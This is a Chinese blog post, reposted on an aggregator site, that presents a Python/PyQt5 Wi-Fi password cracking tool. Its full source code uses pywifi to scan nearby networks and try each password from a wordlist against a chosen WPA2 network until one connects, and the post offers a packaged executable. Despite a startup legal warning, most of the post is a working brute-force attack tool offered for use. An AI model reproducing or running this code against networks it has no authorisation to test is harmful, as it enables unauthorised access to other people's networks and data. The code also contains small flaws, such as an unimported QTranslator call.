Python Wi-Fi密码测试工具

news2025/4/21 7:56:14

Python Wi-Fi测试工具

相关资源文件已经打包成EXE文件,可双击直接运行程序,且文章末尾已附上相关源码,以供大家学习交流,博主主页还有更多Python相关程序案例,秉着开源精神的想法,望大家喜欢,点个关注不迷路!!!

1. 简介:

这款工具的目的是通过字典攻击方式帮助用户测试 Wi-Fi 网络的安全性。通过选择合适的无线网卡接口、目标 Wi-Fi 网络和密码字典文件,用户可以在界面上实时看到测试进度、日志和最终结果。

以下是详细的功能介绍:

1. Wi-Fi 接口选择
功能:允许用户选择无线网卡接口。
实现:通过 pywifi.PyWiFi() 获取所有可用的无线网卡接口,并在界面中显示供用户选择。
2. Wi-Fi 网络扫描
功能:扫描可用的 Wi-Fi 网络并显示在下拉列表中。
实现:选择无线网卡接口后,点击“刷新列表”按钮,程序将扫描并列出所有可用的 Wi-Fi 网络(SSID)。
3. 字典文件选择
功能:用户选择一个密码字典文件,工具将用字典中的密码尝试连接到目标 Wi-Fi 网络。
实现:用户可以通过拖放或点击“选择字典文件”按钮,选择一个 .txt 格式的密码字典文件。每个字典文件中的密码将逐一尝试。
4. Wi-Fi 测试过程
功能:使用字典文件中的密码尝试连接到目标 Wi-Fi 网络,直到找到正确的密码或遍历完所有密码。
实现:
使用 pywifi 库来创建 Wi-Fi 配置文件并尝试连接。
每个密码尝试后,更新日志并显示尝试的密码。
如果连接成功,显示成功密码;如果失败,则继续尝试下一个密码。
支持设置最大等待时间(例如 5 秒)来检查连接是否成功。
5. 进度条
功能:实时显示破解进度。
实现:在破解过程中,每次尝试密码后更新进度条,显示当前已尝试密码的百分比。
6. 日志显示
功能:记录并实时显示破解过程中的日志信息。
实现:所有的日志信息(如密码尝试、连接成功、失败等)会在界面上以文本形式实时更新,供用户查看。
7. 开始/停止测试
功能:用户可以开始或停止测试过程。
实现:点击“开始测试”按钮时,程序会启动一个后台线程,执行 Wi-Fi 测试操作。点击“停止测试”按钮时,用户可以中止破解操作。
8. 合法性警告
功能:在应用启动时,给出使用工具的合法性警告,提醒用户本工具仅供测试自己的网络安全性,禁止用于非法用途。
实现:弹出一个消息框,显示合法性警告。如果用户选择取消,则关闭程序。
9. 密码破解成功提示
功能:在成功测试出 Wi-Fi 密码时,弹出提示框告知用户破解结果。
实现:当测试成功后,弹出一个信息框,显示测试的密码。
*10. 停止测试
功能:用户可以随时停止正在进行的破解过程。
实现:通过 CrackThread 中的 stop() 方法,停止当前的测试线程。

2. 运行效果:

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

3. 相关源码:

import sys
import os
import time
from PyQt5.QtWidgets import (
    QApplication, QMainWindow, QPushButton, QVBoxLayout, QWidget,
    QLabel, QTextBrowser, QFileDialog, QProgressBar,
    QComboBox, QMessageBox, QLineEdit, QHBoxLayout
)
from PyQt5.QtCore import QThread, pyqtSignal, QTimer
from datetime import datetime
import pywifi
from pywifi import const


class DragDropLineEdit(QLineEdit):
    def __init__(self, parent=None):
        super().__init__(parent)
        self.setAcceptDrops(True)

    def dragEnterEvent(self, event):
        if event.mimeData().hasUrls():
            event.accept()
        else:
            event.ignore()

    def dropEvent(self, event):
        if event.mimeData().hasUrls():
            file_path = event.mimeData().urls()[0].toLocalFile()
            if os.path.isfile(file_path):
                self.setText(file_path)
            else:
                event.ignore()
        else:
            event.ignore()


class CrackThread(QThread):
    update_progress = pyqtSignal(int)
    update_log = pyqtSignal(str)
    success_signal = pyqtSignal(str)

    def __init__(self, wifi_name, dictionary_path, iface):
        super(CrackThread, self).__init__()
        self.wifi_name = wifi_name
        self.dictionary_path = dictionary_path
        self.iface = iface
        self.running = True

    def emit_log_with_time(self, message):
        timestamp = datetime.now().strftime("[%Y-%m-%d %H:%M:%S]")
        self.update_log.emit(f"{timestamp} {message}")

    def run(self):
        if not os.path.exists(self.dictionary_path):
            self.emit_log_with_time("[!] 密码字典文件不存在!")
            return

        self.emit_log_with_time("开始破解...")
        with open(self.dictionary_path, "r", encoding="utf-8") as file:
            passwords = file.readlines(1000)  # 每次读取1000行

        total_passwords = len(passwords)
        for idx, password in enumerate(passwords):
            if not self.running:
                self.emit_log_with_time("[!] 破解已停止。")
                break

            password = password.strip()  # 去除多余空格和换行符
            self.emit_log_with_time(f"[-] 测试密码: {password}")
            if self.wifi_connect(password):
                self.emit_log_with_time(f"[+] 成功连接!密码:{password}")
                self.success_signal.emit(password)
                self.update_progress.emit(100)
                return

            self.update_progress.emit(int((idx + 1) / total_passwords * 100))

        self.emit_log_with_time("[!] 破解失败,尝试其他字典文件。")

    def wifi_connect(self, pwd):
        try:
            # 创建WiFi配置文件
            profile = pywifi.Profile()
            profile.ssid = self.wifi_name
            profile.auth = const.AUTH_ALG_OPEN
            profile.akm.append(const.AKM_TYPE_WPA2PSK)
            profile.cipher = const.CIPHER_TYPE_CCMP
            profile.key = pwd

            # 清除所有配置文件
            self.iface.remove_all_network_profiles()
            tep_profile = self.iface.add_network_profile(profile)

            # 连接WiFi
            self.iface.connect(tep_profile)
            start_time = time.time()

            # 等待连接结果
            while time.time() - start_time < 5:  # 延长等待时间到5秒
                status = self.iface.status()
                if status == const.IFACE_CONNECTED:
                    self.iface.disconnect()  # 连接成功后断开,避免干扰后续操作
                    return True
                elif status == const.IFACE_DISCONNECTED:
                    time.sleep(1)  # 给网卡足够时间反应

            self.iface.disconnect()  # 确保清理状态
            return False
        except Exception as e:
            self.emit_log_with_time(f"[!] 连接时发生错误: {e}")
            return False

    def stop(self):
        self.running = False


class WiFiCrackerUI(QMainWindow):
    def __init__(self):
        super().__init__()
        self.initUI()
        self.thread = None

    def initUI(self):
        self.setWindowTitle("WiFi破解工具")
        self.setGeometry(100, 100, 378, 532)
        self.set_ui_styles()
        self.show_legal_warning()

        layout = QVBoxLayout()

        self.interface_label = QLabel("选择无线网卡接口:")
        self.interface_list = QComboBox()
        self.refresh_interface_list()
        layout.addWidget(self.interface_label)
        layout.addWidget(self.interface_list)

        wifi_layout = QHBoxLayout()
        self.wifi_label = QLabel("WiFi 名称:")
        self.wifi_list = QComboBox()
        self.refresh_wifi_button = QPushButton("刷新列表")
        self.refresh_wifi_button.clicked.connect(self.refresh_wifi_list)
        wifi_layout.addWidget(self.wifi_label)
        wifi_layout.addWidget(self.wifi_list)
        wifi_layout.addWidget(self.refresh_wifi_button)
        layout.addLayout(wifi_layout)

        self.path_label = QLabel("密码字典路径:")
        self.path_input = DragDropLineEdit()
        self.browse_button = QPushButton("选择字典文件(.txt)")
        self.browse_button.clicked.connect(self.browse_file)
        layout.addWidget(self.path_label)
        layout.addWidget(self.path_input)
        layout.addWidget(self.browse_button)

        self.log_browser = QTextBrowser()
        layout.addWidget(self.log_browser)

        self.progress_bar = QProgressBar()
        layout.addWidget(self.progress_bar)

        self.start_button = QPushButton("开始破解")
        self.start_button.clicked.connect(self.start_cracking)
        self.stop_button = QPushButton("停止破解")
        self.stop_button.clicked.connect(self.stop_cracking)
        layout.addWidget(self.start_button)
        layout.addWidget(self.stop_button)

        container = QWidget()
        container.setLayout(layout)
        self.setCentralWidget(container)

        self.refresh_wifi_list()

    def set_ui_styles(self):
        self.setStyleSheet("""
            QPushButton {
                background-color: #4CAF50;
                color: white;
                border-radius: 5px;
                padding: 10px;
            }
            QPushButton:hover {
                background-color: #45a049;
            }
            QProgressBar {
                border: 2px solid #4CAF50;
                border-radius: 5px;
                text-align: center;
            }
            QTextBrowser {
                background-color: #f5f5f5;
                font-family: "Courier New";
                border-radius: 5px;
            }
        """)

    def show_legal_warning(self):
        reply = QMessageBox.warning(
            self,
            "合法性警告",
            "本工具仅供测试自己网络的安全性,禁止用于非法用途!\n"
            "使用本工具即表示您同意对所有行为自行负责。",
            QMessageBox.Ok | QMessageBox.Cancel,
        )
        if reply == QMessageBox.Cancel:
            self.close()  # 如果用户选择取消,退出程序

    def load_translations(self, language_code="en"):
        translator = QTranslator()
        if language_code == "zh":
            translator.load(":/translations/zh_CN.qm")
        else:
            translator.load(":/translations/en_US.qm")
        app.installTranslator(translator)

    def refresh_interface_list(self):
        wifi = pywifi.PyWiFi()
        self.interface_list.clear()
        for iface in wifi.interfaces():
            self.interface_list.addItem(iface.name())

    def refresh_wifi_list(self):
        self.wifi_list.clear()
        iface_name = self.interface_list.currentText()
        if not iface_name:
            self.log_browser.append("[!] 请先选择 Wi-Fi 接口!")
            return

        try:
            wifi = pywifi.PyWiFi()
            iface = next(iface for iface in wifi.interfaces() if iface.name() == iface_name)
            iface.scan()
            self.log_browser.append("[+] 网络扫描开始...")
            QTimer.singleShot(2000, self.on_scan_complete)  # 2秒后回调扫描结果
        except Exception as e:
            self.log_browser.append(f"[!] 刷新 Wi-Fi 列表时出错: {e}")

    def on_scan_complete(self):
        iface_name = self.interface_list.currentText()
        wifi = pywifi.PyWiFi()
        iface = next(iface for iface in wifi.interfaces() if iface.name() == iface_name)
        results = iface.scan_results()
        seen_ssids = set()
        for network in results:
            ssid = network.ssid.encode('raw_unicode_escape').decode('utf-8', 'ignore')
            if ssid and ssid not in seen_ssids:
                self.wifi_list.addItem(ssid)
                seen_ssids.add(ssid)
        self.log_browser.append("[+] Wi-Fi 列表刷新完成。")

    def browse_file(self):
        file_path, _ = QFileDialog.getOpenFileName(self, "选择密码字典文件", "", "文本文件 (*.txt)")
        if file_path:
            if not file_path.endswith('.txt'):
                self.log_browser.append("[!] 请选择一个有效的文本文件!")
                return
            self.path_input.setText(file_path)

    def start_cracking(self):
        if self.thread and self.thread.isRunning():
            self.log_browser.append("[!] 破解已经在运行中,请等待完成。")
            return

        wifi_name = self.wifi_list.currentText().strip()
        dictionary_path = self.path_input.text().strip()

        if not wifi_name or not dictionary_path:
            self.log_browser.append("[!] 请填写完整信息!")
            return

        try:
            wifi = pywifi.PyWiFi()
            iface = next(iface for iface in wifi.interfaces() if iface.name() == self.interface_list.currentText())
            iface.disconnect()
            time.sleep(1)
            if iface.status() != const.IFACE_DISCONNECTED:
                self.log_browser.append("[!] 无法断开当前连接。")
                return
        except Exception as e:
            self.log_browser.append(f"[!] 无法初始化无线网卡: {e}")
            return

        self.thread = CrackThread(wifi_name, dictionary_path, iface)
        self.thread.update_log.connect(self.log_browser.append)
        self.thread.update_progress.connect(self.progress_bar.setValue)
        self.thread.success_signal.connect(self.show_success_message)
        self.thread.start()

    def stop_cracking(self):
        if self.thread and self.thread.isRunning():
            self.thread.stop()

    def show_success_message(self, password):
        QMessageBox.information(self, "破解成功", f"Wi-Fi 密码是: {password}")


if __name__ == "__main__":
    app = QApplication(sys.argv)
    window = WiFiCrackerUI()
    window.show()
    sys.exit(app.exec_())

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2277428.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

qml AngleDirection详解

1、概述 AngleDirection 是 QML&#xff08;Qt Meta Language&#xff09;中用于定义粒子发射方向的一个类&#xff0c;它属于 Qt Quick Particles 模块。AngleDirection 通过设置角度范围来控制粒子从发射器射出时的初始方向。这个类在创建具有特定发射模式的粒子效果时非常有…

VSCode使用纪要

1、常用快捷键 1&#xff09;注释 ctrl? 单行注释&#xff0c; altshifta 块注释&#xff0c; 个人测试&#xff0c;ctrl? 好像也能块注释 2&#xff09;开多个项目 可以先开一个新窗口&#xff0c;再新窗口打开另一个项目&#xff0c;这时就是同时打开多个项目了。 打开…

单独编译QT子模块

单独编译QT子模块 系统 win qt-everywhere-src-5.12.12 下载源码&#xff1a; https://download.qt.io/archive/qt/5.12/5.12.12/single/ 参考&#xff1a; https://doc.qt.io/qt-5/windows-building.html 安装依赖 https://doc.qt.io/qt-5/windows-requirements.html Per…

浙江安吉成新照明电器:Acrel-1000DP 分布式光伏监控系统应用探索

安科瑞吕梦怡 18706162527 摘 要&#xff1a;分布式光伏发电站是指将光伏发电组件安装在用户的建筑物屋顶、空地或其他适合的场地上&#xff0c;利用太阳能进行发电的一种可再生能源利用方式&#xff0c;与传统的大型集中式光伏电站相比&#xff0c;分布式光伏发电具有更灵活…

DAMA GDPA 备考笔记(二)

1. 考点分布 2. 第二章 数据处理伦理知识点总结 伦理是建立在是非观念上的行为准则。伦理准则通常侧重于公平、尊重、责任、诚信、质量、可靠性、透明度和信任等方面。数据伦理是一项社会责任问题不是法律问题。 度量指标&#xff1a;培训员工人数、合规/不合规事件、企业高管…

Unity中实现倒计时结束后干一些事情

问题描述&#xff1a;如果我们想实现在一个倒计时结束后可以执行某个方法&#xff0c;比如挑战成功或者挑战失败&#xff0c;或者其他什么的比如生成boss之类的功能&#xff0c;而且你又不想每次都把代码复制一遍&#xff0c;那么就可以用下面这种方法。 结构 实现步骤 创建一…

【Elasticsearch】filterQuery过滤查询

&#x1f9d1; 博主简介&#xff1a;CSDN博客专家&#xff0c;历代文学网&#xff08;PC端可以访问&#xff1a;https://literature.sinhy.com/#/?__c1000&#xff0c;移动端可微信小程序搜索“历代文学”&#xff09;总架构师&#xff0c;15年工作经验&#xff0c;精通Java编…

带头双向循环链表(数据结构初阶)

文章目录 双向链表链表的分类概念与结构实现双向链表定义链表结构链表打印判空申请结点初始化头插尾插头删尾删查找指定位置插入和删除销毁链表 顺序表和链表的分析结语 欢迎大家来到我的博客&#xff0c;给生活来点impetus&#xff01;&#xff01; 这一节我们学习双向链表&a…

在eNSp上telnet一下吧

在上篇博客&#xff1a;DNS 我们提到了telnet和设备带外管理、带内管理&#xff0c;它确实是非常有趣的一个知识点哦&#xff0c;接下来我们一起来学习学习吧~ Telnet&#xff08;远程登陆协议&#xff09; Telnet基于TCP 23号端口&#xff0c;典型的C/S架构模式&#xff0c;是…

Spring MVC复杂数据绑定-绑定集合

【图书介绍】《SpringSpring MVCMyBatis从零开始学&#xff08;视频教学版&#xff09;&#xff08;第3版&#xff09;》_【新华文轩】springspring mvcmybatis从零开始学(视频教学版) 第3版 正版-CSDN博客 《SpringSpring MVCMyBatis从零开始学(视频教学版)&#xff08;第3版…

基于禁忌搜索算法的TSP问题最优路径搜索matlab仿真

目录 1.程序功能描述 2.测试软件版本以及运行结果展示 3.核心程序 4.本算法原理 5.完整程序 1.程序功能描述 基于禁忌搜索算法的TSP问题最优路径搜索&#xff0c;旅行商问题&#xff08;TSP&#xff09;是一个经典的组合优化问题。其起源可以追溯到 19 世纪初&#xff0c;…

静态综合路由实验

实验拓扑 实验要求 1.除R5的环回地址外&#xff0c;整个其他所有网段基于192.168.1.0/24进行合理的IP地址划分 2.R1-R4每个路由器存在两个环回接口&#xff0c;用于模拟pc网段&#xff1b;地址也在192.168.1.0/24这个网络范围内 3.R1-R4上不能直接编写到达5.5.5.0/24的静态路由…

前端组件开发:组件开发 / 定义配置 / 配置驱动开发 / 爬虫配置 / 组件V2.0 / form表单 / table表单

一、最早的灵感 最早的灵感来自sprider / 网络爬虫 / 爬虫配置&#xff0c;在爬虫爬取网站文章时候&#xff0c;会输入给爬虫一个配置文件&#xff0c;里边的内容是一个json对象。里边包含了所有想要抓取的页面的信息。爬虫通过这个配置就可以抓取目标网站的数据。其实本文要引…

[Deep Learning] Anaconda+CUDA+CuDNN+Pytorch(GPU)环境配置-2025

文章目录 [Deep Learning] AnacondaCUDACuDNNPytorch(GPU)环境配置-20250. 引子1. 安装Anaconda1.1 安装包下载&#xff1a;1.2 启用安装包安装1.3 配置(系统)环境变量1.4 验证Anaconda是否安装完毕1.5 Anaconda换源 2. 安装CUDACuDNN2.1 判断本机的CUDA版本2.2 下载适合自己CU…

直播预告丨Arxiv Insight:用 AI 重新定义论文检索

1月16日晚上20:00-20:50&#xff0c;Zilliz直播间&#xff0c;深圳大学计算机视觉所硕士牛增豪先生将带来《Arxiv Insight&#xff1a;用 AI 重新定义论文检索》分享&#xff0c;届时他将讲述从零到一构建 Arxiv Insight产品的过程&#xff0c;思考以及未来计划。欢迎大家锁定Z…

STM32 FreeRTOS 的任务挂起与恢复以及查看任务状态

目录 任务的挂起与恢复的API函数 任务挂起函数 任务恢复函数 任务恢复函数&#xff08;中断中恢复&#xff09; 函数说明 注意事项 查看任务状态 任务的挂起与恢复的API函数 vTaskSuspend()&#xff1a;挂起任务, 类似暂停&#xff0c;可恢复 vTaskResume()&#xff1a…

4. 使用springboot做一个音乐播放器软件项目【数据库表的创建】

上一章文章 我们做了音乐播放器 这个项目一些公共封装的一些工具类。参考网址&#xff1a; https://blog.csdn.net/Drug_/article/details/145093705 那么这篇文章 我们开始创建数据表。来存储我们项目中所需要存储的数据。 对于 我们这个项目 版本一 需要开发的核心功能 在 第…

leetcode刷题记录(五十四)——560. 和为 K 的子数组

&#xff08;一&#xff09;问题描述 560. 和为 K 的子数组 - 力扣&#xff08;LeetCode&#xff09;560. 和为 K 的子数组 - 给你一个整数数组 nums 和一个整数 k &#xff0c;请你统计并返回 该数组中和为 k 的子数组的个数 。子数组是数组中元素的连续非空序列。 示例 1&am…

软考,质量管理。

项目质量管理&#xff0c;PMBOOK 质量是满足需求的能力的特性的总结 需求的满足程度 质量通常是指产品的质量&#xff0c;广义上的质量还包括工作质量。产品质量是指产品的使用价值及其属性&#xff1b;而工作质量则是产品质量的保证&#xff0c;它反映了与产品质量直接有关的…

Re78 读论文:GPT-4 Technical Report

诸神缄默不语-个人CSDN博文目录 诸神缄默不语的论文阅读笔记和分类 论文全名&#xff1a;GPT-4 Technical Report 官方博客&#xff1a;GPT-4 | OpenAI appendix懒得看了。 文章目录 1. 模型训练过程心得2. scaling law3. 实验结果减少风险 1. 模型训练过程心得 模型结构还…